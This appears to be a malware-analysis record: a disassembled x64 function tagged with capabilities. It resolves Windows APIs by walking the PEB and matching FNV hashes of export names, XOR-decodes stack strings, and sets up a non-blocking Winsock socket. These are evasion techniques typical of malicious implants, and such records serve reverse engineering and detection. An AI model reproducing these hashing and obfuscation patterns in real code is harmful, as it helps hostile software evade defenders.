Function at 0x18002abd0
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x180150340]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov ebx, edx
mov rdi, rcx
mov qword [rbp - 0x40], rcx
and word [rcx], 0
and qword [rcx + 8], 0
xorps xmm0, xmm0
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx + 0x20], xmm0
xor edx, edx
mov r8d, 0x198
add rcx, 0x30
call fcn.1800f9820
mov dword [rdi + 0x1c8], ebx
mov dword [rdi + 0x1cc], 0x32d0
lea rcx, [rdi + 0x1d0]
xor edx, edx
lea r8d, [rdx + 0x41]
call fcn.1800f9820
mov byte [rdi + 0x258], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r13d, 1
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r10d, dword [rcx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x18002acd0
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x18002acd0
mov r14d, dword [r10 + 0x20]
dec r8d
lea rcx, [r14 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r11d, 0x5d1812e8
mov cl, byte [rdx]
add rdx, r13
test cl, cl
je 0x18002accb
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r13
test cl, cl
jne 0x18002acac
cmp r11d, 0x58bf2706
je 0x18002acd5
test r8d, r8d
jne 0x18002ac8f
mov rax, qword [rax]
jmp 0x18002ac6a
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [r10 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
mov ecx, 0x202
lea rdx, [rdi + 0x30]
call r8
test eax, eax
je 0x18002ad04
call fcn.1800524f9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18002ad7f
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x18002ad7f
mov esi, dword [r10 + 0x20]
or r14d, 0xffffffff
add r9d, r14d
lea rcx, [rsi + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0xce03aa13
mov cl, byte [rdx]
add rdx, r13
test cl, cl
je 0x18002ad7a
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r13
test cl, cl
jne 0x18002ad5b
cmp r11d, 0x65adad72
je 0x18002ad84
test r9d, r9d
jne 0x18002ad3e
mov rax, qword [rax]
jmp 0x18002ad15
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r8
xor r8d, r8d
lea eax, [r8 + 2]
mov edx, eax
mov ecx, eax
call r9
mov qword [rdi + 8], rax
movabs rdx, 0x22b983f51ab6a8eb
movabs rcx, 0x154d462af7bd8cd4
movabs rbx, 0xd24faa47332487c7
movabs r8, 0x7c695a369c37d44
movabs r9, 0xd24faa473350e2b4
movabs r10, 0x4bcea39d69c2cd85
movabs r11, 0x62b4b5c80aac0e2a
cmp rax, 0xffffffffffffffff
jne 0x18002b398
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x20], rax
mov qword [rbp - 0x38], r8
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x28], rax
mov qword [rbp - 0x38], r9
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x30], rax
mov qword [rbp - 0x38], rcx
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x38], rax
mov qword [rbp - 0x38], r10
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x38], r11
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x38], rbx
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x38], rcx
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x18], rax
movdqa xmm0, xmmword [rsp + 0x20]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [rbp - 0x20]
xorps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18002aefb
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x18002aefb
mov esi, dword [r10 + 0x20]
add r9d, r14d
lea rcx, [rsi + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0xe88539a9
mov cl, byte [rdx]
add rdx, r13
test cl, cl
je 0x18002aef6
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r13
test cl, cl
jne 0x18002aed7
cmp r11d, 0x262ed108
je 0x18002af00
test r9d, r9d
jne 0x18002aeba
mov rax, qword [rax]
jmp 0x18002ae95
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
lea rcx, [rsp + 0x20]
call rdx
mov rbx, qword [0x180156b50]
test rbx, rbx
jne 0x18002afcf
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r10, rsi
mov rdx, qword [r10 + 0x30]
movsxd rax, dword [rdx + 0x3c]
mov r8d, dword [rax + rdx + 0x88]
add r8, rdx
cmp r8, rdx
je 0x18002afb0
mov r9d, dword [r8 + 0x18]
test r9d, r9d
je 0x18002afb0
mov r14d, dword [r8 + 0x20]
dec r9d
lea rax, [r14 + r9*4]
mov ecx, dword [rax + rdx]
add rcx, rdx
mov r11d, 0x738a91a8
mov al, byte [rcx]
add rcx, r13
test al, al
je 0x18002afab
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
add rcx, r13
test al, al
jne 0x18002af88
cmp r11d, 0xd4612d13
je 0x18002b423
test r9d, r9d
jne 0x18002af6c
mov rax, qword [r10]
mov r10, rax
cmp rax, rsi
je 0x18002afc2
cmp qword [rax + 0x30], 0
jne 0x18002af47
xor ebx, ebx
mov qword [0x180156b50], rbx
or r14d, 0xffffffff
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.18002f394
nop
lea r8, [rsp + 0x20]
cmp qword [rsp + 0x38], 0xf
cmova r8, qword [rsp + 0x20]
movabs rax, 0x24a7c7f41aa7bfd5
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x40], rax
movabs rax, 0x42d0d0a463cd680a
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x48], rax
movabs rax, 0xbb3bc3295a04e8b3
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x50], rax
movabs rax, 0x456d684f8dd4e0b5
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x58], rax
movabs rax, 0x8cb780cc278402a5
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x60], rax
movabs rax, 0x4b1c6c07608299d
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x68], rax
movabs rax, 0xdd2d1492c49fa87e
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x70], rax
movabs rax, 0x124ad4048fb87db9
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x78], rax
movabs rax, 0x8df081733afe3a74
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x80], rax
movabs rax, 0x6d554cafa8bd72
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x78], rax
movabs rax, 0x23c564f1ba1a2fe0
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x70], rax
movabs rax, 0x787b2fce2fc37a4b
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x68], rax
movabs rax, 0x7ddc46a1ba312973
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x60], rax
movabs rax, 0xe94a012c3c1c3444
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x58], rax
movabs rax, 0x92618959dea30db3
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x50], rax
movabs rax, 0x67ec6029c1ddc7
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x48], rax
movabs rax, 0x4bcea39d69c2cd85
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x10], rax
movabs rax, 0x62b4b5c80aac0e2a
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 8], rax
movabs rax, 0xd24faa47332487c7
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp], rax
movabs rax, 0x154d462af7bd8cd4
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 8], rax
movabs rax, 0xe9c5a0a954e567c9
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x10], rax
movabs rax, 0x6bc8e6b404695dee
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x18], rax
movabs rax, 0xfd4879f3a3bfda0b
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x20], rax
movabs rax, 0x603eb176afdc13d8
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x28], rax
movabs rax, 0xf999a11573de140d
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x30], rax
movabs rax, 0x644d3920c6dcce52
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x38], rax
movabs rax, 0x3b10b9f9a694a8f
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x40], rax
movabs rax, 0x1d090fe244b1153c
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x48], rax
movabs rax, 0x8b33f81ce5e4611
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x50], rax
movabs rax, 0x8d24600c7f4c1436
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x58], rax
movabs rax, 0xf341f02baac67f93
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movabs rax, 0x67ec4e47a8bca0
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp - 0x70]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x50], xmm1
mov r9d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x40]
xor ecx, ecx
call rbx
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x18002b380
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002b37b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002bbd8
call fcn.1800d0680
movdqa xmm0, xmmword [0x180139ed0]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x20], 0
call fcn.1800524f9
mov word [rdi + 0x10], 2
mov eax, dword [rdi + 0x1c8]
mov dword [rdi + 0x14], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18002b41e
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x18002b41e
mov esi, dword [r10 + 0x20]
add r9d, r14d
lea rcx, [rsi + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0xad3b9eb9
mov cl, byte [rdx]
add rdx, r13
test cl, cl
je 0x18002b419
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r13
test cl, cl
jne 0x18002b3fa
cmp r11d, 0xce1222e9
je 0x18002b441
test r9d, r9d
jne 0x18002b3dd
mov rax, qword [rax]
jmp 0x18002b3b8
mov ecx, dword [r8 + 0x1c]
add rcx, rdx
mov eax, dword [r8 + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdx
jmp 0x18002afc4
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
movzx ecx, word [rdi + 0x1cc]
call rdx
mov word [rdi + 0x12], ax
cmp byte [rdi], 0
je 0x18002bade
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18002b4e6
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x18002b4e6
mov esi, dword [r10 + 0x20]
add r9d, r14d
lea rcx, [r8 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r8
mov r11d, 0x3c31f27a
mov cl, byte [rdx]
add rdx, r13
test cl, cl
je 0x18002b4e1
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r13
test cl, cl
jne 0x18002b4c2
cmp r11d, 0x280ab7f9
je 0x18002b4eb
test r9d, r9d
jne 0x18002b4a6
mov rax, qword [rax]
jmp 0x18002b481
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r8
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rdi + 0x10]
mov rcx, qword [rdi + 8]
call r9
cmp eax, 0xffffffff
jne 0x18002bada
movabs rax, 0x22b983f51ab6a8eb
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x20], rax
movabs rax, 0x7c695a369c37d44
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x28], rax
movabs rax, 0xd24faa473350e2b4
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x30], rax
movabs r15, 0x154d462af7bd8cd4
mov qword [rbp - 0x38], r15
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x38], rax
movabs rax, 0x4bcea39d69c2cd85
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x30], rax
movabs rax, 0x62b4b5c80aac0e2a
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x28], rax
movabs rax, 0xd24faa47332487c7
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x38], r15
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x18], rax
movdqa xmm0, xmmword [rsp + 0x20]
xorps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x30]
xorps xmm1, xmmword [rbp - 0x20]
movdqa xmmword [rsp + 0x30], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x18002b660
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x18002b660
mov esi, dword [r10 + 0x20]
add r9d, r14d
lea rcx, [rsi + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0xbb4abf4d
mov cl, byte [rdx]
add rdx, r13
test cl, cl
je 0x18002b65b
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r13
test cl, cl
jne 0x18002b63c
cmp r11d, 0x6488afe4
je 0x18002b665
test r9d, r9d
jne 0x18002b61f
mov rax, qword [rax]
jmp 0x18002b5fa
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [r10 + 0x24]
add rax, r8
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r8
lea rcx, [rsp + 0x20]
call rdx
mov rbx, qword [0x180156b48]
test rbx, rbx
jne 0x18002b734
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r10, rsi
mov rdx, qword [r10 + 0x30]
movsxd rax, dword [rdx + 0x3c]
mov r8d, dword [rax + rdx + 0x88]
add r8, rdx
cmp r8, rdx
je 0x18002b715
mov r9d, dword [r8 + 0x18]
test r9d, r9d
je 0x18002b715
mov r14d, dword [r8 + 0x20]
dec r9d
lea rax, [r14 + r9*4]
mov ecx, dword [rax + rdx]
add rcx, rdx
mov r11d, 0xb64878d7
mov al, byte [rcx]
add rcx, r13
test al, al
je 0x18002b710
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rcx]
add rcx, r13
test al, al
jne 0x18002b6ed
cmp r11d, 0xebbb0186
je 0x18002bb5e
test r9d, r9d
jne 0x18002b6d1
mov rax, qword [r10]
mov r10, rax
cmp rax, rsi
je 0x18002b727
cmp qword [rax + 0x30], 0
jne 0x18002b6ac
xor ebx, ebx
mov qword [0x180156b48], rbx
or r14d, 0xffffffff
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rbp - 0x30]
call fcn.18002f394
nop
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r8, qword [rbp - 0x30]
movabs rax, 0x24a7c7f41aa7bfd5
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x40], rax
movabs rax, 0x42d0d0a463cd680a
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x48], rax
movabs rax, 0xbb3bc3295a04e8b3
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x50], rax
movabs rax, 0x456d684f8dd4e0b5
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x58], rax
movabs rax, 0x8cb780cc278402a5
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x60], rax
movabs rax, 0x4b1c6c07608299d
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x68], rax
movabs rax, 0xdd2d1492c49fa87e
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x70], rax
movabs rax, 0x124ad4048fb87db9
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x78], rax
movabs rax, 0x8df081733afe3a74
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x80], rax
movabs rax, 0x6d554cafa8bd72
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x78], rax
movabs rax, 0x23c564f1ba1a2fe0
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x70], rax
movabs rax, 0x787b2fce2fc37a4b
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x68], rax
movabs rax, 0x7ddc46a1ba312973
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x60], rax
movabs rax, 0xe94a012c3c1c3444
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x58], rax
movabs rax, 0x92618959dea30db3
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x50], rax
movabs rax, 0x67ec6029c1ddc7
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x48], rax
movabs rax, 0x4bcea39d69c2cd85
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 0x10], rax
movabs rax, 0x62b4b5c80aac0e2a
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 8], rax
movabs rax, 0xd24faa47332487c7
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp], rax
mov qword [rbp - 0x38], r15
mov rax, qword [rbp - 0x38]
mov qword [rbp + 8], rax
movabs rax, 0xe9c5a0a954e567c9
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x10], rax
movabs rax, 0x6bc8e6b404695dee
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x18], rax
movabs rax, 0xfd4879f3a3bfda0b
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x20], rax
movabs rax, 0x603eb176afdc13d8
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x28], rax
movabs rax, 0xf999a11573de140d
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x30], rax
movabs rax, 0x644d3920c6dcce52
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x38], rax
movabs rax, 0x3b10b9f9a694a8f
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x40], rax
movabs rax, 0x1d090fe244b1153c
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x48], rax
movabs rax, 0x8b33f81ce5e4611
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x50], rax
movabs rax, 0x8d24600c7f4c1436
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x58], rax
movabs rax, 0xf341f02baac67f93
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movabs rax, 0x67ec4e47a8bca0
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm1, xmmword [rsp + 0x50]
xorps xmm1, xmmword [rbp]
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x70]
xorps xmm1, xmmword [rbp + 0x20]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x30]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [rbp - 0x70]
xorps xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm0, xmmword [rbp - 0x60]
xorps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [rbp - 0x50]
xorps xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp - 0x50], xmm1
mov r9d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x40]
xor ecx, ecx
call rbx
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x18002bad5
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002bad0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002bbd2
call fcn.1800d0680
call fcn.1800524f9
mov byte [rdi + 1], r13b
mov dword [rbp - 0x38], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18002bb59
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x18002bb59
mov esi, dword [r9 + 0x20]
add r10d, r14d
lea rcx, [rsi + r10*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov r11d, 0xc2478fca
mov cl, byte [rdx]
add rdx, r13
test cl, cl
je 0x18002bb54
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r13
test cl, cl
jne 0x18002bb35
cmp r11d, 0x19c238a
je 0x18002bb7c
test r10d, r10d
jne 0x18002bb18
mov rax, qword [rax]
jmp 0x18002baf3
mov ecx, dword [r8 + 0x1c]
add rcx, rdx
mov eax, dword [r8 + 0x24]
add rax, rdx
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdx
jmp 0x18002b729
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r10*2]
mov r9d, dword [rdx + rcx*4]
add r9, r8
lea r8, [rbp - 0x38]
mov edx, 0x8004667e
mov rcx, qword [rdi + 8]
call r9
nop
mov rax, rdi
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.1800d0660
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
call fcn.1800d939c
nop
call fcn.1800d939c
int3